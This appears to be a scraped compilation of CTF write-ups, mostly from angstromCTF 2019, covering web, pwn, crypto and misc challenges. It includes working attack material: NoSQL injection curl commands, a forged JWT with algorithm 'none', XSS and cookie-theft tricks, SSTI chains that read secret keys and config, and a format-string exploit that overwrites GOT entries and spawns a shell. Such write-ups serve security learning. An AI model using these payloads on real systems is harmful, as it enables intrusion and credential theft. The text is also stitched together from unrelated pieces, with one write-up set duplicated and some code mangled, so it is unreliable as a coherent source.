```javascriptfunction checksum (element) { var string = '' string += (element.attributes ? element.attributes.length : 0) + '|' for (var i = 0; i < (element.attributes ? element.attributes.length : 0); i++) { string += element.attributes[i].name + ':' + element.attributes[i].value + '|' } string += (element.childNodes ? element.childNodes.length : 0) + '|' for (var i = 0; i < (element.childNodes ? element.childNodes.length : 0); i++) { string += checksum(element.childNodes[i]) + '|' } return CryptoJS.SHA512(string).toString(CryptoJS.enc.Hex)}var request = new XMLHttpRequest()request.open('GET', location.href, false)request.send(null)if (checksum((new DOMParser()).parseFromString(request.responseText, 'text/html')) !== document.doctype.systemId) { document.documentElement.remove()}```
It calculates some sort document's hash and then compares it with the original. I haven't even looked into the code because I already knew an unintended solution for this one.
The page wasn't setting any `X-XSS-Protection` header so the `XSS-Auditor` in Chrome 74 (that's the version the admin uses) is set to `mode=filter` so any reflected XSS will be filtered and not executed.
So I appended the `xss=<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/rollups/sha512.js">` parameter to the query so the `sha512.js` script will be filtered and the `DOMValidator.js` will crash. Hence, `<script>alert('pwned')</script>` will be executed.
After sending that URL to the admin we get the flag: **actf{its_all_relative}**
# Cookie MonsterOnce again, we've got a simple webpage with URL reporting functionality. After a quick inspection we see two endpoints `/getflag` and `/cookies`. When visiting `/cookies` our `cookies` are being displayed and it looks like `user_DE7aL1xDCe3BauCWqSVqg_0C5bu2078UgQHIqYsF2h0= 311`. That's a valid variable in JavaScript so by including this script on the prepared website ```<script src='https://cookiemonster.2019.chall.actf.co/cookies'></script>```and then reading the window variable```javascriptvar name = Object.getOwnPropertyNames(window).filter(x=>x.indexOf('admin')!=-1)[0];```we get the admin's cookie `admin_GgxUa7MQ7UVo5JHFGLbqzuQfFFy4EDQNwZWAWJXS5_o=` and then the flag: **actf{defund_is_the_real_cookie_monster}**
# GiantURLWe have a website where we can:- create `redirect` URL `GET /redirect`- change admin's password `POST /admin/changepass`- report URL `POST /report`
The website is not protected by any CSRF tokens but the `SameSite=Lax` cookie is set so we can't do any `POST` requests across different origins.
```php= 100 && count(array_unique(str_split($_REQUEST['password']))) > 10) { $password = $_REQUEST['password']; echo 'Successfully changed password.'; } else { echo 'Password is insecure.'; }}file_put_contents("password", $password);?>```
In order to get the flag we have to somehow change the admin's password. We can see that it must be a `POST` request but the `password` can be passed as a URL parameter.
In the `/redirect` we have a vulnerable code:```phpClick on >this link to go to your page!```
In theory we could insert the xss there, like for example: `this link` but CSP will block such attempts because of the`Content-Security-Policy: default-src 'self'; style-src 'unsafe-inline';` header.
However, there is a `ping` feature in `` elements that sends a `POST` request when the link was clicked. So we can insert `this link` in the `/redirect` and then when the admin clicks on that URL their password will change. The full payload:`https://giant_url.2019.chall.actf.co/redirect?url=aa%20ping=/admin/changepass?password=0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a`
After that we can log in using the new credentials and we get the flag: **actf{p1ng_p0ng_9b05891fa9c3bed74d02a349877b1c60}**
# Cookie CutterThe chalange is about hacking the JWT cookie. To get the flag we have to pass this check:```javascriptlet sid = JSON.parse(Buffer.from(cookie.split(".")[1], 'base64').toString()).secretid;if(sid==undefined||sid>=secrets.length||sid<0){throw "invalid sid"}let decoded = jwt.verify(cookie, secrets[sid]);if(decoded.perms=="admin"){ res.locals.flag = true;}```where the `secrets` is an array containing randomly generated `secrets`
```javascriptlet secret = crypto.randomBytes(32)cookie = jwt.sign({perms:"user",secretid:secrets.length,rolled:res.locals.rolled?"yes":"no"}, secret, {algorithm: "HS256"});secrets.push(secret);```
The cookie looks like:```json{ "alg": "HS256", "typ": "JWT"}{ "perms": "user", "secretid": 1394, "rolled": "no", "iat": 1555925889}```
By providing the cookie: `eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJwZXJtcyI6ImFkbWluIiwic2VjcmV0aWQiOiJyYW5kb21zdHIiLCJyb2xsZWQiOiJubyJ9.` which after decoding looks like
```json{ "typ": "JWT", "alg": "none"}{ "perms": "admin", "secretid": "randomstr", "rolled": "no"}```
we will get the flag, becasue `secrets["randomstr"]` will return `undefined` and we set the `algorithm` to `none`.
The flag is: **actf{defund_ate_the_cookies_and_left_no_sign}**
# MadlibbinIn the challenge we could insert a template string that will be interpreted in Python's `"".format(args=request.args)` function. So the string `{args}` will return `ImmutableMultiDict([])`. The goal was to read `app.secret_key` value.
By running the server locally and using the script from https://github.com/PequalsNP-team/pequalsnp-team.github.io/blob/master/assets/search.py, I found out the chain of properties that led to `Flask.app` object `{args.__class__.__weakref__.__objclass__._iter_hashitems.__globals__[__loader__].__class__.__weakref__.__objclass__.get_data.__globals__[__loader__].exec_module.__globals__[__builtins__][__build_class__].__self__.copyright.__class__._Printer__setup.__globals__[sys].modules[flask].current_app.secret_key}`.
And the flag is: **actf{traversed_the_world_and_the_seven_seas}**
Solving script: [./Madlibbin/app.py](./Madlibbin/app.py) `$ python3 -m flask run`# NaaSIt was a basic task for cracking the Python's `random` generator. The solution was to request enough `nonces` from `https://naas.2019.chall.actf.co/nonceify` to predict the upcoming ones. To crack the `random` generator I used the tool: https://github.com/tna0y/Python-random-module-cracker.
After successful prediction of the nonces you only had to create a paste with `<script nonce=Nonce1></script><script nonce=Nonce2></script><script nonce=Nonce3></script>...` so you can be sure that when the admin visits the page one of them will work.
After getting the admin's cookie we get the flag: **actf{lots_and_lots_of_nonces}**
Solving script: [./NaaS/solve.py](./NaaS/solve.py) |
It's a simple brainf\*\*k interpreter.As we can read from and write to arbitrary addresses, we can overwrite the return address of `main` and call the `flag` function.
[writeup](https://ptr-yudai.hatenablog.com/entry/2019/04/25/141422#Binary-150pts-Over-My-Brain) |
The binary is similar to that of Purchases.However, there is no `flag` function and we have to get the shell by ourselves.
[writeup](https://ptr-yudai.hatenablog.com/entry/2019/04/25/141422#Binary-160pts-Returns) |
We are given a truncated PDF file.It can be (partially) repaired by appending some information after the binary.
[writeup](https://ptr-yudai.hatenablog.com/entry/2019/04/25/141422#Misc-190pts-Paper-Cut) |
# Magic Brackets
## Task
[app.py](./src/app.py)
## Solution
First, I looked at the source code of the application:
```Pythonimport random
print("Welcome, traveller!")print("I have a task for you.")print("I will give you some numbers.")print("The only thing you have to do is send them back to me.")print("If you do everything correctly, I will give you the flag.")print("Sounds easy, right?")print("However, to prove that you are the true bracket master, you can only use the following symbols: ()[]<>|")print("Well here we go:")
for _ in range(100): num = random.randint(100, 100000) print(num) try: if num != eval("".join([c for c in input() if c in "()[]<>|"])): print("Sorry, that's wrong :c") exit(0) except: print("Ouch, that hurts :c") exit(0)print("Good job!")print("Your flag is [REDACTED]")```
So, we need to enter the string, which contains only symbols from this list: `()[]<>|`. Okay. I was confused for a while. But after about an hour and a half I came up with this code:
```Python>>> [()] > []True```
Ha, I made 1. But I need numbers in range 100..100000. Now I remembered about bit shifts. And here we go:
```Python>>> ([()] > []) << ([()] > [])2```
Yeah! Now, shifting this, I can get any number 2<sup>n</sup>. And las thing left is to get any number `2 % n != 0`. Luckily, I can use `|`. So I can use it to make any uneven number:
```Python>>> ([()] > []) << ([()] > []) | ([()] > [])3```
Using all these things I made this code to solve the task:
```Pythonimport socket
def to_brackets(number: int): bint = bin(number)[2:] one = "([()]>[])" result = one for bit in bint[1:]: if bit == "1": result = f"(({result}) << ({one})) | {one}" else: result = f"(({result}) << ({one}))" return result
def main(): s = socket.socket() s.connect(("tasks.realctf.pro", 28392)) print(s.recv(1024).decode()) while 1: data = s.recv(1024).decode() print(data) try: num = int(data.strip()) res = to_brackets(num) + "\n" print(res) s.send(res.encode()) except: break print(to_brackets(543))
if __name__ == "__main__": main()```
Run it and here we go:
Flag: `HSE{8RrrR4cK3t_P0O0w3rrr}` |
# Angstrom CTF 2019## Returns
> Need to make a return? This program might be able to help you out (source, libc).> /problems/2019/returns/> nc shell.actf.co 19307> Author: kmh11
---
### Checksec output> Arch: amd64-64-little> RELRO: Partial RELRO> Stack: Canary found> NX: NX enabled> PIE: No PIE (0x400000)
### Given source code```C#include <stdlib.h>#include <stdio.h>#include <string.h>
int main() { gid_t gid = getegid(); setresgid(gid, gid, gid); setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0);
char item[50]; printf("What item would you like to return? "); fgets(item, 50, stdin); item[strlen(item)-1] = 0;
if (strcmp(item, "nothing") == 0) { printf("Then why did you even come here? "); } else { printf("We didn't sell you a "); printf(item); printf(". You're trying to scam us! We don't even sell "); printf(item); printf("s. Leave this place and take your "); printf(item); printf(" with you. "); } printf("Get out!\n"); return 0;}```
We are given the task's binary, the libc (which happens to be the libc from Ubuntu 16.04 Xenial) and... the source code!
This task is almost identical to the angstrom's purchases task except it doesn't havethe `flag` function which gave us the flag. Knowing that, we already know the vulnerability - format-string vulnerability.
The plan is to call `system("/bin/sh")`, so we need the libc base address. Then, knowing `system` address we want to redirect execution to it and pass`"/bin/sh"` as an argument.
How do we do it only with one possibility to write to the buffer `item`? We could make ourselves a loop.Luckily the binary has PIE disabled and last `printf` got translated into `puts`.If we overwrite GOT entry of puts with address right before fgets call weobtain a loop! Now we can use the format-string vulnerability multiple times.
### Custom loopFrom `0x401303` jumping to `0x40122e`.```0x40122e <main+136> mov rdx, qword ptr [rip + 0x2e4b] <0x404080>0x401235 <main+143> lea rax, [rbp - 0x40]0x401239 <main+147> mov esi, 0x320x40123e <main+152> mov rdi, rax0x401241 <main+155> call fgets@plt <0x401080> # fgets(item, 50, stdin);(...)0x4012fc <main+342> lea rdi, [rip + 0xdcc]0x401303 <main+349> call puts@plt <0x401030>```
We need only to overwrite last 2 Bytes of the address, because `puts` got entryalready contains similar address.
#### GOT when calling first vulnerable printf for the first time``` 0x401296 <main+240> lea rax, [rbp - 0x40] 0x40129a <main+244> mov rdi, rax 0x40129d <main+247> mov eax, 0 ► 0x4012a2 <main+252> call printf@plt <0x401070>``````pwndbg> gotGOT protection: Partial RELRO | GOT functions: 9[0x404018] puts@GLIBC_2.2.5 -> 0x401036 (puts@plt+6) ◂— push 0 /* 'h' */(...)```
The binary also overwrites byte before first nullbyte with a nullbyte.Thus we insert dummy `a` right before padding of nullbytes.
#### Payload creating a loop:```Pythongot_puts = 0x404018before_fgets = 0x40122e
payload = "%018u%12$hhn%028u%13$hhn" # set 40122epayload += 'a'payload += '\x00' * (32-len(payload))payload += p64(got_puts+1)payload += p64(got_puts)payload += '\n'```
#### How to get a libc leak then?Luckily there is `__libc_start_main+240` address on the stack when calling vulnerable`printf`.
``` 0x401296 <main+240> lea rax, [rbp - 0x40] 0x40129a <main+244> mov rdi, rax 0x40129d <main+247> mov eax, 0 ► 0x4012a2 <main+252> call printf@plt <0x401070> format: 0x7fffffffe5f0 ◂— 0x3200007024383125 /* '%18$p' */ vararg: 0x7fffffffbf48 ◂— "We didn't sell you a 507360000000000000000004158470016 "
pwndbg> stack 2000:0000│ rsp 0x7fffffffe5d8 —▸ 0x401308 (main+354) ◂— mov eax, 001:0008│ 0x7fffffffe5e0 —▸ 0x7ffff7ffe168 ◂— 0x002:0010│ 0x7fffffffe5e8 ◂— 0xf0b5ff03:0018│ rdi 0x7fffffffe5f0 ◂— 0x3200007024383125 /* '%18$p' */04:0020│ 0x7fffffffe5f8 ◂— '$hhn%028u%13$hhn'05:0028│ 0x7fffffffe600 ◂— 'u%13$hhn'06:0030│ 0x7fffffffe608 ◂— 0x007:0038│ 0x7fffffffe610 —▸ 0x404019 (_GLOBAL_OFFSET_TABLE_+25) ◂— 0x200000000000401208:0040│ 0x7fffffffe618 —▸ 0x404018 (_GLOBAL_OFFSET_TABLE_+24) —▸ 0x40122e (main+136) ◂— mov rdx, qword ptr [rip + 0x2e4b]09:0048│ 0x7fffffffe620 —▸ 0x7fffffff000a ◂— 0x00a:0050│ 0x7fffffffe628 ◂— 0xb264bae28067b1000b:0058│ rbp 0x7fffffffe630 —▸ 0x401330 (__libc_csu_init) ◂— endbr64 0c:0060│ 0x7fffffffe638 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax```
#### Payload leaking libc address:```Pythonpayload2 = "%18$p"payload2 += '\n'
io.send(payload2)io.recvuntil('sell you a ')libc_leak_hex_str = io.recvuntil('.') # (__libc_start_main+240) print(libc_leak_hex_str[:-1])libc_start_main_addr_240 = int(libc_leak_hex_str[2:-1], 16)
libc_start_main_addr = libc_start_main_addr_240 - 240libc_start_main_offset = 0x20740libc_base_addr = libc_start_main_addr - libc_start_main_offsetlibc_system_offset = 0x45390libc_system_addr = libc_base_addr + libc_system_offset```
With the libc leak, we calculate libc base address and then the address of a `system`function. Now, how do we call it with `"/bin/sh"`?We'll abuse another vulnerable printf call.
With one of the `printf`s we overwrite got entry of `printf` with `system`,and using another one we call `system("/bin/sh")`.We need to pass `"/bin/sh"` and rest of the payload at the same time. Luckily one can safely spawn shell with `system("/bin/sh;[rest of payload]")`.
Most of the times we'll need to overwrite only last 3 bytes of the address:
```[0x404038] printf@GLIBC_2.2.5 -> 0x7ffff7a62800 (printf) ◂— sub rsp, 0xd8{<text variable, no debug info>} 0x7ffff7a52390 <__libc_system>```
I couldn't fit the payload overwriting 2 bytes and then 1 byte, so I overwrotelast 4 bytes.
I've also stumbled upon a limit with format-string padding:```Cunsigned int d = 13378;printf("aha%02147483614u!", d); // prints "aha[zeroes]!"printf("aha%02147483615u!", d); // prints "aha"```
Luckily we can execute exploit couple of times until it works.
#### Payload spawning shell:```Pythongot_printf = 0x404038
payload = "/bin/sh;"
# lowest 4Bto_write = libc_system_addr & 0xffffffffto_write -= len("/bin/sh;")
payload += "%0{}u%14$n".format(to_write)payload += 'a' # overwritten with NULLBYTE by binary itselfpayload += '\x00' * ((8 - len(payload)) % 8)# aligned to 8Bassert(payload[-1] == '\x00') # at least one NULLBYTE required
payload += p64(got_printf)payload += '\n'
assert(len(payload) <= 50)io.send(payload)```
When we overwrite 4 bytes at the same time, the binary prints massive amount of zeroes. Printing them to the console takes ages... but finally spawns our beloved shell.
@mzr - justCatTheFish
|
## Challenge description:My friend gave me this [program](https://github.com/TheEquus/angstromCTF2019-Writeups/blob/master/misc/lithp.txt) but I couldn't understand what he was saying - what was he trying to tell me?
## Solution:So we are given a program called lithp.lisp (though I saved it as lithp.txt). From the file extension, as well as challenge namewe are clearly dealing with the programming language lisp. Amongst all the code, we are told that the flag we seek has been encoded by the function enc - and we are given what the encoded output is, as well as a variable called 'reorder'.
Initially, I tried to understand what was going on, with all the function calls and uwu owo, however, I eventually realised youcould take the encoded output and solve it using a substitution cipher, since the program only appears to be manipulating the valueof each letter, and reordering it based on the variable 'reorder'.
```encrypted = 8930 15006 8930 10302 11772 13806 13340 11556 12432 13340 10712 10100 11556 12432 9312 10712 10100 10100 8930 10920 8930 5256 9312 9702 8930 10712 15500 9312reorder = 19 4 14 3 10 17 24 22 8 2 5 11 7 26 0 25 18 6 21 23 9 13 16 1 12 15 27 20```
First, since there are 28 numbers in encrypted, as well as in reorder, I reordered the sequence so all the numbers are in its properorder (e.g. the first number in encrypted is 8930, the first number in reorder is 19, therefore, 8930 is the 20th number (since reorder starts at 0)) etc..You can choose to do this manually or with a short piece of code, it doesn't take too long either way.
```reordered = 9312 9702 13340 10302 15006 10712 10100 11556 12432 8930 11772 10100 8930 5256 8930 10712 9312 13806 10100 8930 9312 8930 11556 10920 13340 10712 12432 15500```
Now, knowing that the flag format is actf{...}, we can substitute the characters we know.
```reordered = a c t f { 10712 10100 11556 12432 8930 11772 10100 8930 5256 8930 10712 a 13806 10100 8930 a 8930 11556 10920 t 10712 12432 }```
Next thing I did was substitute the remaining numbers with random (rarely used letters like q, x, z) so that everything could fiteasily on my screen. (You really don't have to do this since it may look messy, but it was helpful for me)
``` a c t f { q w y k j z w j x j q a g w j a j y v t q k }```
The next thing I did was guess. Considering that the challenge name and whole theme of this challenge was lithp/lisp, I figured either lispor lithp would be in the flag. Since the only letters within the flag {}'s are a and t, I assumed that the t must be a part of lithp.(Therefore, y = l, g = i, q = h, k = p)```a c t f { h w l p j z w j x j h a g w j a j l i t h p }```
Then I can almost see the word 'help' in the first part of the flag, allowing me to guess that:w = e, and j = _```a c t f { h e l p _ z e _ x _ h a g e _ a _ l i t h p }```
Now the final bit was just filling in the ?:help_?e_?_ha?e_a_lithp
And so we get the flag: `actf{help_me_I_have_a_lithp}`
(notice the `capital I`, since that `capital I` is a different value to the `lowercase i`) |
ångstromCTF 2019 -- quick write-ups by @terjanq (Web)===
# Control YouThe flag was in the source code of the webpage **actf{control_u_so_we_can't_control_you}**
# No SequelsThis was a basic NoSQL Injection task.```shellcurl -i https://nosequels.2019.chall.actf.co/login \-H 'Content-type: application/json' \-d '{"username": "admin", "password": {"$gt": "a"}}' \-H 'Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkIjpmYWxzZSwiaWF0IjoxNTU1NzE4OTc5fQ.-YQh71DMt2mRIwKmgAKIB16rliriYF4dSilCsYo84-8'```After executing the above command we get a session cookie for the admin and when visiting the `https://nosequels.2019.chall.actf.co/site` we get the flag.**actf{no_sql_doesn't_mean_no_vuln}**
# No Sequels 2This was the same task as before but here we had to use blind NoSQL injection in order to fetch all of the pasword's characters by using the payload above. E.g.```{"username": "admin", "password": {"$gt": "a"}} -> true{"username": "admin", "password": {"$gt": "z"}} -> false```
By bruteforcing all characters we get the password `congratsyouwin` and then the flag: **actf{still_no_sql_in_the_sequel}**
Solving script: [./NoSequels2/solve.py](./NoSequels2/solve.py)
# DOM Validator
*Detailed writeup available here: https://medium.com/@terjanq/xss-auditor-the-protector-of-unprotected-f900a5e15b7b*
We had a simple upload page that allowed you to upload a custom HTML page. You could report suspicious URLs to admin.After uploading the page we get:```html
<html> <head> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/skeleton/2.0.4/skeleton.min.css"> <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/rollups/sha512.js"></script> <script src="../scripts/DOMValidator.js"></script> </head> <body> <h1>test_post</h1> <script>alert('pwned')</script> </body></html>```
<script>alert('pwned')</script>
The `<script>alert('pwned')</script>` won't be executed because of the `DOMValidator.js` script:
```javascriptfunction checksum (element) { var string = '' string += (element.attributes ? element.attributes.length : 0) + '|' for (var i = 0; i < (element.attributes ? element.attributes.length : 0); i++) { string += element.attributes[i].name + ':' + element.attributes[i].value + '|' } string += (element.childNodes ? element.childNodes.length : 0) + '|' for (var i = 0; i < (element.childNodes ? element.childNodes.length : 0); i++) { string += checksum(element.childNodes[i]) + '|' } return CryptoJS.SHA512(string).toString(CryptoJS.enc.Hex)}var request = new XMLHttpRequest()request.open('GET', location.href, false)request.send(null)if (checksum((new DOMParser()).parseFromString(request.responseText, 'text/html')) !== document.doctype.systemId) { document.documentElement.remove()}```
It calculates some sort document's hash and then compares it with the original. I haven't even looked into the code because I already knew an unintended solution for this one.
The page wasn't setting any `X-XSS-Protection` header so the `XSS-Auditor` in Chrome 74 (that's the version the admin uses) is set to `mode=filter` so any reflected XSS will be filtered and not executed.
So I appended the `xss=<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/rollups/sha512.js">` parameter to the query so the `sha512.js` script will be filtered and the `DOMValidator.js` will crash. Hence, `<script>alert('pwned')</script>` will be executed.
After sending that URL to the admin we get the flag: **actf{its_all_relative}**
# Cookie MonsterOnce again, we've got a simple webpage with URL reporting functionality. After a quick inspection we see two endpoints `/getflag` and `/cookies`. When visiting `/cookies` our `cookies` are being displayed and it looks like `user_DE7aL1xDCe3BauCWqSVqg_0C5bu2078UgQHIqYsF2h0= 311`. That's a valid variable in JavaScript so by including this script on the prepared website ```<script src='https://cookiemonster.2019.chall.actf.co/cookies'></script>```and then reading the window variable```javascriptvar name = Object.getOwnPropertyNames(window).filter(x=>x.indexOf('admin')!=-1)[0];```we get the admin's cookie `admin_GgxUa7MQ7UVo5JHFGLbqzuQfFFy4EDQNwZWAWJXS5_o=` and then the flag: **actf{defund_is_the_real_cookie_monster}**
# GiantURLWe have a website where we can:- create `redirect` URL `GET /redirect`- change admin's password `POST /admin/changepass`- report URL `POST /report`
The website is not protected by any CSRF tokens but the `SameSite=Lax` cookie is set so we can't do any `POST` requests across different origins.
```php= 100 && count(array_unique(str_split($_REQUEST['password']))) > 10) { $password = $_REQUEST['password']; echo 'Successfully changed password.'; } else { echo 'Password is insecure.'; }}file_put_contents("password", $password);?>```
In order to get the flag we have to somehow change the admin's password. We can see that it must be a `POST` request but the `password` can be passed as a URL parameter.
In the `/redirect` we have a vulnerable code:```phpClick on >this link to go to your page!```
In theory we could insert the xss there, like for example: `this link` but CSP will block such attempts because of the`Content-Security-Policy: default-src 'self'; style-src 'unsafe-inline';` header.
However, there is a `ping` feature in `` elements that sends a `POST` request when the link was clicked. So we can insert `this link` in the `/redirect` and then when the admin clicks on that URL their password will change. The full payload:`https://giant_url.2019.chall.actf.co/redirect?url=aa%20ping=/admin/changepass?password=0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a`
After that we can log in using the new credentials and we get the flag: **actf{p1ng_p0ng_9b05891fa9c3bed74d02a349877b1c60}**
# Cookie CutterThe chalange is about hacking the JWT cookie. To get the flag we have to pass this check:```javascriptlet sid = JSON.parse(Buffer.from(cookie.split(".")[1], 'base64').toString()).secretid;if(sid==undefined||sid>=secrets.length||sid<0){throw "invalid sid"}let decoded = jwt.verify(cookie, secrets[sid]);if(decoded.perms=="admin"){ res.locals.flag = true;}```where the `secrets` is an array containing randomly generated `secrets`
```javascriptlet secret = crypto.randomBytes(32)cookie = jwt.sign({perms:"user",secretid:secrets.length,rolled:res.locals.rolled?"yes":"no"}, secret, {algorithm: "HS256"});secrets.push(secret);```
The cookie looks like:```json{ "alg": "HS256", "typ": "JWT"}{ "perms": "user", "secretid": 1394, "rolled": "no", "iat": 1555925889}```
By providing the cookie: `eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJwZXJtcyI6ImFkbWluIiwic2VjcmV0aWQiOiJyYW5kb21zdHIiLCJyb2xsZWQiOiJubyJ9.` which after decoding looks like
```json{ "typ": "JWT", "alg": "none"}{ "perms": "admin", "secretid": "randomstr", "rolled": "no"}```
we will get the flag, becasue `secrets["randomstr"]` will return `undefined` and we set the `algorithm` to `none`.
The flag is: **actf{defund_ate_the_cookies_and_left_no_sign}**
# MadlibbinIn the challenge we could insert a template string that will be interpreted in Python's `"".format(args=request.args)` function. So the string `{args}` will return `ImmutableMultiDict([])`. The goal was to read `app.secret_key` value.
By running the server locally and using the script from https://github.com/PequalsNP-team/pequalsnp-team.github.io/blob/master/assets/search.py, I found out the chain of properties that led to `Flask.app` object `{args.__class__.__weakref__.__objclass__._iter_hashitems.__globals__[__loader__].__class__.__weakref__.__objclass__.get_data.__globals__[__loader__].exec_module.__globals__[__builtins__][__build_class__].__self__.copyright.__class__._Printer__setup.__globals__[sys].modules[flask].current_app.secret_key}`.
And the flag is: **actf{traversed_the_world_and_the_seven_seas}**
Solving script: [./Madlibbin/app.py](./Madlibbin/app.py) `$ python3 -m flask run`# NaaSIt was a basic task for cracking the Python's `random` generator. The solution was to request enough `nonces` from `https://naas.2019.chall.actf.co/nonceify` to predict the upcoming ones. To crack the `random` generator I used the tool: https://github.com/tna0y/Python-random-module-cracker.
After successful prediction of the nonces you only had to create a paste with `<script nonce=Nonce1></script><script nonce=Nonce2></script><script nonce=Nonce3></script>...` so you can be sure that when the admin visits the page one of them will work.
After getting the admin's cookie we get the flag: **actf{lots_and_lots_of_nonces}**
Solving script: [./NaaS/solve.py](./NaaS/solve.py) |
# Control You
We're given a weird looking web page that asks us for the flag.
Let's go ahead and have a look at the source code to see if the input is being compared using client-side JavaScripting.
 |
# Intro to Rev
This problem is simply just a matter of following instructions. We are given a program and told to enter in a string. Then, we are told to run the program with specific arguments and then told to enter in a string. Upon completion, we are given the flag.
 |
# IRC
This is about as simple as simple gets. Log in to the IRC channel and you'll be greeted with the flag.
 |
[Full write-up here](https://github.com/doublestandardctf/WPICTF2019/blob/master/zoomercrypt.md)
The problem gave [an image](https://drive.google.com/file/d/1BO3v97Igzs7KruDkK7B4AGqxsNB7BaWE/view) and ask you to find the encrypted message inside.
There are two notable things in this image: the reference to ROT15 in the third message and the large number of emoji, plus curly braces and an underscore in between them.
From the reference to ROT15, we thought that there would be something with the unicode values of the emoji characters connecting to the unicode values of the letters in the messages.
When we took the unicode values of the emoji, we noticed that they were all between 0x1F601 and 0x1F619, which is as large of a range as the ASCII upper case letters.
When we subtracted 0x1F5C0 from the unicode values for each of the emoji, we got text that said, "CAU WH WG KDW{FSDSBH_NCCASFG}".
From there, our next thought was something with rotations, because that looks a lot like there's a flag at the end of that message. By using [this site](http://rumkin.com/tools/cipher/caesar.php), we checked and noticed that KDW becomes WPI (which is what the flag begins with) when rotated by twelve positions through the alphabet. By rotating the entire thing 12 positions, then the message becomes "OMG IT IS WPI{REPENT_ZOOMERS}". The last part of that is the flag. |
# Half and Halfslopey112 - 4/24/2019
We are given a python script that generates a cipher.```pythonfrom secret import flag
def xor(x, y): o = '' for i in range(len(x)): o += chr(ord(x[i])^ord(y[i])) return o
assert len(flag) % 2 == 0
half = len(flag)//2milk = flag[:half]cream = flag[half:]
assert xor(milk, cream) == '\x15\x02\x07\x12\x1e\x100\x01\t\n\x01"'```The code is very simple. The program first splits the flag into half and half. Then, it iterates through each index in the arrays. It returns an ASCII character based on the XOR of the decimal value of two corresponding characters in the split arrays.
As we can see, the results of that cipher is given at the bottom. From this, we can deduce that the length of the flag must be 24 because there are 12 characters in the resulting cipher.
Next, we can also deduce the first five characters and the last character in the flag. We know the flag must begin with `actf{` and must end with `}`.
The first major observation is that we can deduce six characters already, because of XOR properties. First, the commutative property:```a = b ^ ca = c ^ b```Next, XOR has another interesting property.```a = b ^ cb = c ^ ac = a ^ b```From this, we can already deduce a few of the characters. Below I've arranged the two halves of the flag on top of each other, with the result at the bottom. Unknown characters are `.`.```a c t f { . .. . . . .. . . . . . .. . . . }\x15\x02\x07\x12\x1e\x100\x01\t\n\x01"```Let's start from left to right and sweep across.```a ^ . = 0x15. = chr(0x15 ^ ord(a)). = 't'```Continuing along, we can deduce many of these characters as well.```a c t f { . .. . . . _t a s t e . .. . . . }\x15\x02\x07\x12\x1e\x100\x01\t\n\x01"```Now we're at a bit of a roadblock. How can we find the rest of the characters? We can start by making an assumption, that the flag is not obfuscated in any way. Given that, we can generate the possibilities for these characters with a quick [python script](/code/Half_and_Half.py).```pythonimport stringimport sys
search = string.ascii_lowercase + '_'
def decrypt(result): char = ord(result) for c in search: for c2 in search: if ord(c) ^ ord(c2) == char: print('{} {}'.format(c, c2))
decrypt(sys.argv[1])```Let's run this script on the first unknown character.```slopey112@slopey112:~/Documents/Code/payloads$ python3 decrypt.py $(python -c "print '\x10'")a qb rc sd te uf vg wh xi yj zq ar bs ct du ev fw gx hy iz j```By our first assumption that there is no obfuscation, the next letter following "taste" can only be "\_", "d", or "s" as only these can make spellable characters. As we can see our options are limited to "d" and "s", we'll take a guess and try "s". Now our cipher looks like this:```a c t f { c .. . . . _t a s t e s .. . . . }\x15\x02\x07\x12\x1e\x100\x01\t\n\x01"```Through deduction, the next character should be "\_" after "tastes", also by the same assumption as earlier. Running our script again, our guess is correct.```slopey112@slopey112:~/Documents/Code/payloads$ python3 decrypt.py 0o __ o```Great.```a c t f { c o. . . . _t a s t e s _. . . . }\x15\x02\x07\x12\x1e\x100\x01\t\n\x01"```After some thinking, the "co" in the beginning reminds us of a particular drink that is generally associated with "half and half". I ran the script a few more times, and we found the pattern.```a c t f { c of f e e _t a s t e s _g o o d }\x15\x02\x07\x12\x1e\x100\x01\t\n\x01"```And we are left with our flag.```actf{coffee_tastes_good}``` |
# Flag CheckerWeb
## Challenge
I made this [really cool flag checker](https://flag_checker.tjctf.org/)! The only way to get in is to guess the flag because I made it super secure... at least I hope I did.
## Solution
After looking around the page, I realised there is a hidden `csrfmiddlewaretoken`.
$ curl -s 'https://flag_checker.tjctf.org/' --data "flag=&csrfmiddlewaretoken=HELLOWORLD" | grep csrfmiddlewaretoken <input type="hidden" name="csrfmiddlewaretoken" value="HELLOWORLD" />
And trying out some different text injection payloads, I found out Jinja2 `{{ 7*'7' }}` will show us this
$ curl -s 'https://flag_checker.tjctf.org/' --data "flag=&csrfmiddlewaretoken={{ 7*'7' }}" | grep csrfmiddlewaretoken
<input type="hidden" name="csrfmiddlewaretoken" value="7777777" />
This is a Jinja Flask Template Injection
References:- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#basic-injection- https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti- http://flask.pocoo.org/docs/1.0/templating/#standard-context
---
Trying out different payloads
{{url_for.__globals__}} {{url_for.__globals__.os.__dict__}} {{request.url[23:]}} {{config}}
And then I realised that {{config}} has something interesting
$ curl 'https://flag_checker.tjctf.org/' --data "flag=&csrfmiddlewaretoken={{config}}"
